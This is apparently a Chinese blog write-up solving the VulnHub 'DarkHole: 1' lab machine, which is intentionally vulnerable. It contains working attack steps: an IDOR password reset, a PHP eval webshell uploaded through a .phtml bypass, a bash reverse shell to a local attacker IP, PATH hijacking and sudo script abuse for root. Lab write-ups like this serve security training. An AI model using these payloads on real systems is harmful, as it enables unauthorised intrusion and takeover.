DarkHole: 1

靶机描述

靶机地址:https://download.vulnhub.com/darkhole/DarkHole.zip

Description

Difficulty: Easy
It's a box for beginners, but not easy, Good Luck
Hint: Don't waste your time For Brute-Force

信息收集

利用arp-scan -l命令扫描靶机IP

arp-scan -l

image.png
使用nmap扫描开放端口

nmap -sV -p- 192.168.75.169

image.png
发现开放了22和80端口

WEB服务测试

访问80端口,点击login,进入登录页面
image.png
image.png
注册一个账号(test:123456)
image.png
image.png
注册成功后,登录系统,仅有更新个人信息和修改密码功能
image.png

越权

抓包分析一下,有一个ID参数,我们刚注册的账号ID为2,猜测管理员ID为1,修改ID为1放包,尝试越权修改ID为1的账号密码
image.png
image.png
猜测ID为1的账号用户名为admin,尝试登录成功,发现文件上传功能
image.png

获取webshell

经过探索后发现可以通过后缀.phtml绕过上传php脚本

<?php eval($_REQUEST[8]);?>

image.png
使用蚁剑连接,获取到shell
image.png

反弹Shell

利用bash,反弹一个shell给Kali

bash -c 'bash -i >& /dev/tcp/192.168.75.150/9999 0>&1'

image.png

提权

如图所示共三个用户具有 /bin/bash,root,darkhole,john

cat /etc/passwd | grep "/bin/bash"

image.png
查看一下系统中的文件
image.png
发现一个可疑文件toto,是个二进制文件,运行一下
image.png
发现是二进制文件是id的副本,它以用户john的身份执行,那可以创建一个具有相同名称的自定义二进制文件将目录导出到PATH(从前往后顺序匹配),这样使用id命令时就会优先匹配此路径下的id文件,运行toto文件使用john身份调用id命令时就会获得shell

echo 'bash' > /tmp/id; chmod +x /tmp/id; export PATH=/tmp:$PATH

image.png
切换到了john用户,获取一个交互式的shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

image.png
查看系统文件
image.png查看之前发现的password,应该是john的密码,查看下权限
image.png
发现会以root身份执行file.py,并且我们有权限对其进行更改,那就直接写入shell

echo 'import os;os.system("/bin/bash")' > file.py
sudo python3 /home/john/file.py

image.png
获得root权限,查看flag
image.png

posted @ 2024-05-05 01:14  NoCirc1e  阅读(17)  评论(0编辑  收藏  举报